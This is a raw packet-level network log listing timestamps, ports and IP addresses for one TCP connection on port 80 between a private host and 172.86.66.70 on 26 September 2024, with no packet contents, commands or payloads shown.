Sep 26, 2024 12:12:30.385524035 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.385535002 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.385545969 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.385555983 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.385745049 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.385756016 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.385766983 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.385776997 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.385787010 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.387343884 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.387343884 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.387343884 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.387343884 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.387343884 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.387343884 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.387343884 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.387343884 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.387372017 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.387372971 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.387372971 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.387372971 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.387372971 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.391849995 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.391861916 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.391871929 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.391881943 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.391892910 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.391916990 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.391938925 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.391997099 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.392016888 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.392028093 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.392039061 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.392049074 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.392060041 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.392069101 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.392076969 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.392081022 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.392091990 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.392101049 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.392112970 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.392128944 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.392138958 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.392147064 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.392158031 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.392168045 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.392168999 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.392179966 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.392190933 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.392203093 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.392204046 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.392219067 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.392227888 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.392241955 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.392249107 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.392254114 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.392266989 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.392277002 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.392277002 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.392290115 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.392306089 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.392308950 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.392323017 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.392333984 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.392345905 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.392350912 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.392357111 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.392368078 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.392369986 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.392379045 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.392390013 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.392393112 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.392401934 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.392411947 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.392419100 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.392421961 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.392433882 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.392445087 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.392445087 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.392456055 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.392467976 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.392469883 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.392477989 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.392489910 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.392493963 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.392501116 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.392512083 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.392515898 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.392523050 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.392533064 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.392543077 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.392556906 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.392570019 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.392576933 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.392606974 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.392646074 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.392656088 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.392669916 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.392679930 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.392689943 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.392702103 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.392704964 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.392714024 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.392724991 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.392725945 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.392748117 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.392766953 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.392790079 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.392802000 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.392812014 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.392822981 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.392844915 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.392874002 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.392931938 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.392944098 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.392952919 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.392987967 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.393250942 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.393297911 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.393388033 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.393403053 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.393412113 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.393423080 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.393431902 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.393436909 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.393474102 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.393532991 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.393543959 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.393553019 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.393563032 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.393573046 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.393580914 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.393615961 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.393686056 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.393697023 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.393708944 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.393718958 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.393728971 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.393740892 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.393740892 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.393753052 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.393758059 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.393781900 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.393841028 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.393851995 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.393862009 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.393872023 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.393883944 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.393896103 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.393927097 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.477513075 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.477560997 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.477580070 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.477591038 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.477613926 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.477644920 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.477663040 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.477674007 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.477685928 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.477720022 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.477724075 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.477746964 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.477770090 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.477794886 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.477807045 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.477838039 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.477879047 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.477891922 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.477933884 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.478022099 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.478034019 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.478043079 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.478051901 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.478061914 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.478074074 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.478077888 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.478101015 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.478131056 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.478158951 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.478169918 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.478231907 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.478313923 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.478326082 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.478336096 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.478347063 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.478355885 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.478364944 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.478373051 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.478384018 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.478394032 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.478394985 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.478406906 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.478451014 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.483042002 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.483094931 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.483105898 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.483146906 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.483181953 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.483192921 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.483205080 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.483215094 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.483226061 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.483231068 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.483268976 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.483298063 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.483309031 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.483319044 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.483330011 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.483347893 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.483376026 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.483409882 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.483421087 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.483431101 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.483455896 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.483459949 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.483505964 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.483603954 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.483616114 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.483624935 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.483654976 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.483664989 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.483675003 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.483685017 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.483696938 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.483711958 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.483746052 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.483769894 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.483783960 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.483814955 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.483828068 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.483839989 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.483850956 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.483876944 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.483910084 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.483931065 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.483939886 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.483946085 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.483956099 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.483967066 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.483978033 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.483983994 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.483989954 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.484004974 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.484040976 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.484071970 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.484081984 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.484091997 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.484103918 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.484121084 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.484141111 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.484200954 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.484211922 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.484221935 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.484251022 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.484273911 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.484353065 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.484364033 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.484375000 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.484385014 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.484395981 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.484404087 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.484407902 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.484421015 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.484431982 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.484447956 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.484457016 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.484464884 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.484483957 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.484496117 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.484539032 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.484621048 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.484633923 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.484643936 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.484656096 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.484666109 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.484668016 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.484677076 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.484688997 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.484708071 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.484726906 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.484756947 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.484767914 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.484806061 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.484869957 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.484882116 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.484891891 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.484903097 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.484913111 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.484924078 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.484925032 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.484936953 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.484941959 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.484971046 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.484987974 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.485120058 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.485131025 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.485141039 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.485151052 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.485161066 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.485168934 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.485172033 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.485184908 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.485193968 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.485207081 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.485232115 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.485274076 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.485290051 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.485301018 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.485311031 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.485322952 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.485327959 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.485338926 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.485348940 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.485352039 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.485359907 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.485371113 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.485379934 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.485380888 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.485397100 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.485421896 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.485585928 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.485603094 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.485615015 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.485625982 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.485635996 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.485663891 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.535772085 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.570117950 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.570138931 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.570149899 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.570200920 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.570318937 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.570329905 CEST	80	49755	172.86.66.70	192.168.2.4
